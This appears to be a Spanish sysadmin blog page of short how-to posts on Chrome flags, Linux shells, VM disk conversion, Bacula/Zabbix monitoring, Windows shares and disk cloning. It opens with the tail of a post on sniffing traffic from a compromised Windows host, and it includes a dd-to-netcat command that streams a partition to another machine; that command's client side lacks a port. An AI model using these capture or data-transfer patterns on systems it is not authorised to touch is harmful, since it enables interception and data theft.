    [*] There are 9 packets (1071 bytes) remaining
    [*] Download or release them using 'sniffer_dump' or 'sniffer_release'
    
Tras esto, tenemos localizado en /home/javier/1.pcap un fichero de tipo .pcap con los datos que se han capturado del interfaz del Windows comprometido. Ahora sólo queda analizar lo que ha pasado por ese interfaz durante la captura. Para ello, podemos emplear un programa tipo wireshark.
Leer más

Google Chrome, opciones de arranque

Google Chrome tiene muchas funciones que se pueden activar o desactivar según los intereses del usuario y aunque muchas de ellas no son conocidas, quizás sea bueno nombrarlas o recordarlas, ya que algunas facilitan temas de seguridad, otras simplemente ayudarán a mejorar un poco el rendimiento del navegador y otras, no son necesarias excepto que seas desarrollador. Vamos a ver las principales,
  • --user-data-dir
    Especifica la carpeta contenedora de los datos de usuario (el perfil).
    Es útil en caso de que tengas tu carpeta ~home en red, ya que permite localizarla en local y así acelerar el acceso a los datos sin consumir ancho de banda local.
  • --disk-cache-dir
    Permite especificar la localización de la carpeta de almacenamiento de la caché del navegador. Al igual que el anterior, se puede emplear para localizar la caché en un disco más rápido, por ejemplo.
  • --proxy-server
    Habilita el uso de un servidor proxy para realizar las conexiones. Permite diferenciar entre carga de http y https, permitiendo el uso de 2 proxy's diferentes.
    --proxy-server="https=proxy1:80;http=socks4://baz:1080"
    
  • --allow-running-insecure-content
    Evita que Chrome compruebe si el contenido es o no seguro, simplemente lo carga.
    No suele ser una buena opción, ya que no sabrás lo que se va a cargar o ejecutar en el navegador. De la otra forma, cuando menos necesita que autorices su ejecución.
  • --disable-dev-tools
    Desactiva las herramientas de desarrollador.
    El usuario normal las puede deshabilitar perfectamente, ya que no suele hacer uso de ellas.
  • --disable-metrics-reporting
    Deshabilita el envío de las estadístivas, aunque no así la recopilación de las mismas.
    Se puede desactivar junto con la opción --disable-metrics.
  • --disable-logging
    Desactiva los log's que guardan información sobre lo que pasa en tu navegador. Es útil sobre todo si algo sale mal y el navegador se cierra, ya que sirve para enviar reportes.
    En las versiones estables del navegador, suele venir desactivado por defecto, mientras que en las versiones "beta" o de desarrollo, suele venir incluido. En caso de que lo queramos emplear, --enable-logging.
  • --log-level
    Indica el nivel de depuración que se desea en los log's (en caso de que estén activos. El valor puede estar comprendido entre 0 y 3, tal como sigue,
    INFO = 0
    WARNING = 1
    LOG_ERROR = 2
    LOG_FATAL = 3
  • --purge-memory-button
    Ya se ha compentado más detalladamente en este post.
  • --disable-java
    Desactiva el uso de java por el navegador.
    A día de hoy java ya no suele estar presente un muchas páginas y suele dar más problemas de seguridad que beneficios, así que desactivarlo no suele ser mala opción.
  • --new-http
    Usa la nueva pila HTTP de Chrome. Todavía está en pruebas, por lo que puede que no notes mejoría alguna, pero puede ser interesante.
  • --restore-last-session
    El navegador guardará al cerrarse un estado, el cual será nuevamente aplicado cuando se arranque. Esta opción es muy útil en caso de que queramos restaurar las pestañas con las que se cerró el navegador.
  • --disable-popup-blocking
    Deshabilita el bloqueo de ventanas emergentes de páginas web. Típicamente páginas de publicidad que se abren y molestan.
  • --disable-javascript
    Desactiva el uso de javascript.
    Al igual que desactivar java no supone nada, desactivar el empleo de javascript sí puede suponer problemas, ya que cada vez son más las páginas que emplean esta tecnología. Así que, excepto que sepas lo que haces, esta opción no la desactives.
  • --disable-plugins
    Desactiva todos los plugins que tenga el navegador.
    No es recomendable, ya que dejarías de usar los plungins que trae por defecto (flash entre ellos), así como los que hayas instalado manualmente.
  • --disable-images
    Desactiva la carga de imágenes de las páginas web.
    Aunque esta opción exista, no es muy recomendable su uso, ya que ver una página actual sin imágenes no suele ser lo ideal.
  • --disable-metrics
    Desactiva el sistema de estadísticas de uso de Chrome.
    Se puede desactivar, ya que no suele aportar demasiado.
  • --disable-hang-monitor
    Desactiva la opción de matar y recuperar pestañas colgadas.
    No es una opción buena, ya que sacarías funcionalidades importantes del navegador.
Leer más

nologin vs. false

Puede darse el caso de que hay algún usuario en el sistema por los motivos que sea pero que no queremos que tenga una sesión de shell válida. Para hacer esto, GNU/Linux nos ofrece dos posibilidades típicamente, una es emplear la consola /bin/false y la otra emplear /sbin/nologin. Cualquiera de las dos hace "lo mismo", pero si hacen lo mismo... por qué hay dos. Pues bien, investigando un poco más resulta que no es lo mismo poner la shell de usuario de uno u otra forma, sino que una es mucho más restrictiva que la otra.
mon:x:114:120::/var/lib/mon:/bin/false
La shell /bin/false cierra cualquier tipo de entrada por consola, ssh, telnet y ftp al sistema. Por el contrario, /sbin/nologin hace lo mismo, pero no evita el acceso vía ftp. Además, si un usuario tiene el primer tipo de shell directamente no podrá acceder al sistema y no le aparecerá ningún tipo de información. Mientras que con la segunda sí se puede conseguir mostrar un texto, por defecto "This account is currently not available", que se configura en el fichero /etc/nologin.txt.
Aunque pequeñas diferencias algunas veces está bien saberlo ya que pueden facilitarnos las cosas.
Leer más

virtualbox to xen disk ; xen to virtualbox disk

Muchas veces tenemos la necesidad de trabajar con máquinas virtuales y éstas pueden ser de muchos y diferentes tipos. No vamos a hablar aquí qué sistema es mejor para virtualizar a pequeña escala, pero sí podemos comentar un fallo que es común a todos, que emplean un formato muy concreto y específico para sus discos duros, haciéndolos incompatibles entre sí. Esto sí es un problema. Si tenemos un disco en formato Xen, no lo podremos ejecutar en vmware o virtualbox de forma 'simple', ni viceversa.
Por suerte, existen formas de realizar dichas conversiones. Vamos a ver a continuación cómo poder hacerlo,
  • VirtualBox to Xen
    shell> VBoxManage clonehd so_vbox.vdi so_xen.raw –format RAW
    
  • Xen to VirtualBox
    shell> VBoxManage convertfromraw -format VDI so_xen.img so_vbox.vdi
    
También te pueden interesar éstos otros 2 post's sobre conversión de discos entre plataformas de virtualización:
Leer más

APT Error MMap Dynamic

Si alguna vez tenéis este error, la solución es simple, crear el fichero /etc/apt/apt.conf (o editarlo si ya existe) y ponerle el siguiente contenido.
APT::Cache-Limit "141943904";
El problema viene dado por el límite de la caché, que fue alcanzado (el que viene por defecto), así que la solución no es más que aumentarlo.
Leer más

status bacula en zabbix

De bacula ya hemos hablado alguna vez en este blog y de zabbix, creo que también, así que ahora estaría bien unir ambos en un mismo post y hacer que los mensajes de estado de los trabajos de bacula vayan a un monitor zabbix, para así saber si el proceso de backup se realizó o no correctamente. Saber que el backup está OK es muy importante y zabbix nos permite sacar alertas de cambios de estado de forma muy simple, por lo que se acabó leer los informes que bacula envía por mail! En los foros de zabbix hay un ejemplo de cómo unir zabbix + bacula, pero la verdad es que no me pareció un poco consufa y complicada de montar, así que me puse a investigar un poco las posibilidades de bacula de enviar informes y cómo poder obtener el estado para enviárselo a zabbix. Tras leer un poco de documentación, simplemente me di cuenta de que era más efectivo emplear la directiva RunScript dentro de Jobs que editar y capturar todo el mensaje. Así que... manos a la obra! Primero comenzamos editando los ficheros de trabajos de cada cliente, ya que el envío del estado del backup lo realizará el propio cliente y no el servidor. Esto tiene sus pros y sus contras. Por el momento he decidido dejarlo así. Un ejemplo de trabajo sería el siguiente,
Job {
  Name = "backup-equipo23"
  JobDefs = "DefaultJob"
  Client = equipo23-fd
  FileSet = "equipo23-fs"
  Write Bootstrap = "/var/lib/bacula/backup-equipo23.bsr"
  RunScript {
    RunsWhen = After
    Command = "/usr/local/bin/bacula %l %e"
    RunsOnClient = yes
    RunsOnFailure = yes
    RunsOnSuccess = yes
  }
  Enabled = yes
}
La única diferencia respecto de lo que ya había, fue agregarle las líneas que están en negrita y que hacen justamente lo que nos interesa, ejecutar un pequeño script que envía el estado del backup según el tipo (Full, Incremental, etc). En la documentación oficial de bacula está descrito, pero el tipo de variables que se le pueden pasar son:
  • %c -- Client's name
  • %d -- Director's name
  • %e -- Job Exit Status
  • %i -- JobId
  • %j -- Unique Job id
  • %l -- Job Level
  • %n -- Job name
  • %s -- Since time
  • %t -- Job type (Backup, ...)
  • %v -- Volume name
Y en nuestro caso pasamos un %l, para que nos indique el nivel de trabajo y %e, el estado de finalización del mismo.
Ahora hay que hacer el pequeño script que se ejecutará cuando el trabajo finalice. Éste es,
#!/bin/bash

case "$1" in
 Incremental)
  zabbix_sender -c zabbix_agentd.conf -k bacula.inc.verify.result -o $2
  ;;
 Full)
  zabbix_sender -c zabbix_agentd.conf -k bacula.full.verify.result -o $2
  ;;
 *)
  zabbix_sender -c zabbix_agentd.conf -k bacula.other.verify.result -o $2
  ;;
esac
Ya que como $1 recibimos el tipo de nivel de backup y sólo realizamos backup's Full o Incremental y como $2 recibimos el estado, por lo tanto, es lo que directamente enviamos a zabbix. El estado enviado puede ser OK, Error, Fatal Error, Canceled, Differences o Unknown term code. Aquí podemos optar por pasarlo a número o no, yo prefiero dejarlo como tipo texto, ya que zabbix también permite sacar alertas de campos de tipo texto.
Llegados a este punto ya sólo queda crear una pequeña plantilla de zabbix que permita obtener los datos enviados como Trapper y un trigger que reaccione ante cambios. Los 3 items a los que hace referencia el script tienen estas propiedades:
Nombre descriptivo: Full backup
Tipo: Trapper ZABBIX
Monitor: bacula.full.verify.result
Tipo de información: Texto
Conservar el histórico durante (en días): 60
Estado: Activo
Aplicaciones: bacula
Y por su parte, los triggers asociados,
Nombre: {HOSTNAME} Full backup fail!
Expresión: {Template_bacula:bacula.full.verify.result.regexp(OK)}#1
Gravedad: Alta
Leer más

lvm, montar particiones desde disco externo

Aunque no es algo habitual encontrar un disco duro usb con particiones lvm, ésto puede ocurrir ya que con discos duros más grandes, la necesidad de modificar particiones cada vez es mayor. Por defecto al conectar el disco al sistema éste será reconocido, pero no así sus particiones de tipo lvm, por lo que no podrá ser empleado. Antes de poder montar una de las nuevas particiones, habrá, por lo tanto que activarlas para el sistema,
shell> vgchange -ay
Una vez sean descubiertos y activados los nuevos recursos lvm ya se podrán montar como siempre,
shell> mount /dev/vg1/ext_2 /mnt/usb
Leer más

Windows File Checker


Todos los sistemas operativos, por norma general, con el uso de van degradando y Windows es de los que más. Esto es debido a que Windows tiene un mayor número de virus y programas que intentan alterar sus binarios y así permitir que se ejecuten de forma camuflada procesos que de otra forma no estarían autorizados.
Para proteger los archivos críticos del sistema, Windows tiene una utilidad llamada sfc que compara los originales con los actuales y en caso de que difieran en algo, restaura los originales. Puesto que los originales estaban en el CD legal, éstos no debieran de estar infectados, por ejemplo.
cmd> sfc /help

Microsoft(R) Windows XP Windows File Checker Versión 5.1
(C) 1999-2000 Microsoft Corp. Todos los derechos reservados

Busca arch. de sist. proteg. y reemplaza las versiones incorrectas por
las correctas.

SFC [/SCANNOW|/SCANONCE|/SCANBOOT|/REVERT|/PURGECACHE|/CACHESIZE=x

/SCANNOW     Busca archivos de sist. proteg.
/SCANONCE    Busca, en el próximo inicio, arch. de sist. proteg.
/SCANBOOT    Busca, en cada inicio, arch. de sist. proteg.
/CANCEL      Cancela las búsquedas en espera de arch. de sist. proteg.
/REVERT      Devuelve la búsqueda a la configuración predeterminada.
/PURGECACHE  Purga la caché de arch. y busca arch. de sist. proteg.
/CACHESIZE=x Establece el tamaño de la caché de arch.
Para emplear sfc basta que ordenemos realizar un escaneo a todo el sistema. El único requisito es tener el CD original de la instalación en la unidad lectora.
cmd> sfc /scannow
Tras finalizar la ejecución de sfc todos los binarios del sistema estarán restaurados a los originales.
Ventana de sfc
Leer más

Comandos interesantes: nethogs

nethogs es una de esos comandos curiosos que de vez en cuando presentamos en este blog. En este caso, una utilidad más que interesante y que permite saber en tiempo real qué programa está usando qué ancho de banda en nuestro sistema. Así que si observáis que la red os va lenta, con éste comando podéis saber quién y qué programa la está usando y ya luego poder limitarlo si os apetece.

Instalación

  • Debian
    shell> apt-get install nethogs
    
  • RedHat/CentOS
    shell> yum install nethogs
    

Uso

Una vez instalado, simplemente tenemos que indicarle en qué interfaz escuchar. En mi caso, eth2. La salida que obtendremos será similar a la que sigue.
shell> nethogs eth2
NetHogs version 0.7.0

PID   USER    PROGRAM          DEV   SENT   RECEIVED
3790  javier  ssh             eth2  0.186  4.016 KB/sec
0     root    unknown TCP           0.321  0.254 KB/sec
2426  javier  google-chrome   eth2  0.077  0.077 KB/sec
2408  javier  pidgin          eth2  0.000  0.000 KB/sec
5430  javier  remmina         eth2  0.000  0.000 KB/sec

TOTAL                               0.585  4.346 KB/sec
Leer más

Dejar de compartir C$ en Windows (XP, Vista y 7)

Uno de los fallos de seguridad que todo linuxero encuentra al trabajar o intentar acceder a un sistema Windows por samba es que por defecto siempre está compartida la unidad C$ (D$, E$, etc.). Esto significa que si sabes la contraseña del equipo puedes acceder a toda la partición. Aunque esto puede resultar interesante en muchos casos, ya que simplifica la compartición de archivos, realmente también puede suponer un fallo de seguridad. Veamos un ejemplo,
shell> smbclient -L 192.168.1.35
Enter javier's password: 
Domain=[WIN-VIRT] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename       Type      Comment
---------       ----      -------
IPC$            IPC       IPC remota
D$              Disk      Recurso predeterminado
print$          Disk      Controladores de impresora
ADMIN$          Disk      Admin remota
C$              Disk      Recurso predeterminado
Compartido      Disk      
Datos           Disk      
Como se puede observar, todo el disco está compartido en red, tanto la unidad C, como la D. Puesto que tener todos los datos compartidos no nos interesa, vamos a ver cómo poder sacarlos. Para ello, tendremos que modificar el registro del sistema Windows, así que desde regedit, vamos a la clave
HKEY_LOCAL_MACHINE\
 |
 -SYSTEM\
  |
  -CurrentControlSet\
   |
   -Services\
    |
    -LanmanServer\
     |
     -Parameters\
      |
      -AutoShareWks
La clave AutoShareWks debe ser de tipo REG_DWORD y su valor debe ser 0 (cero), para que Windows no comparta automáticamente los recursos administrativos.
Una vez se haya modificado este valor, simplemente desde la consola (cmd) se reinicia el servicios samba de Windows, tal como sigue
C:\> net stop server
C:\> net start server
Tras esto, comprobamos qué es lo que está compartido en el equipo y vemos que los recursos administrativos (C$ y D$) ya no lo están.
shell> smbclient -L 192.168.1.35
Enter javier's password: 
Domain=[WIN-VIRT] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename       Type      Comment
---------       ----      -------
IPC$            IPC       IPC remota
print$          Disk      Controladores de impresora
Compartido      Disk      
Datos           Disk      
Leer más

Clonar particiones en red

Aunque este es un tema bastante recurrido en la red, tuve que emplearlo hace poco para rescatar un disco y me parece interesante ponerlo, para que quede constancia y así la próxima vez que lo tenga que emplear, simplemente lo veo y listo.
SI tenéis la necesidad de clonar un disco en red, la forma más simple de hacerlo es empleando netcat y dd. Del lado del cliente, es decir, del lado del equipo que tiene el disco a clonar, tenemos que ejecutar lo siguiente,
shell> dd if=/dev/vg0/home bs=1M | nc 192.168.1.33
Mientras que del lado del servidor, es decir, el equipo que va a recibir los datos de la clonación, tenemos que ejecutar,
shell> nc -l 9999 | dd of=/dev/vg0/home_ext bs=1M
Una breve explicación de lo que se va a realizar es la siguiente. Primero se ejecuta el segundo comando, para abrir el puerto 9999 y dejar que el flujo de datos que llegue se escriban en la partición home_ext. Ésta debe de existir. A continuación, se ejecuta el primer comando, para enviar todos los datos vía netcat al equipo que está a la escucha. Como se puede observar, dd nos da la clave, if es el origen de datos y of es el destino de los mismos.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios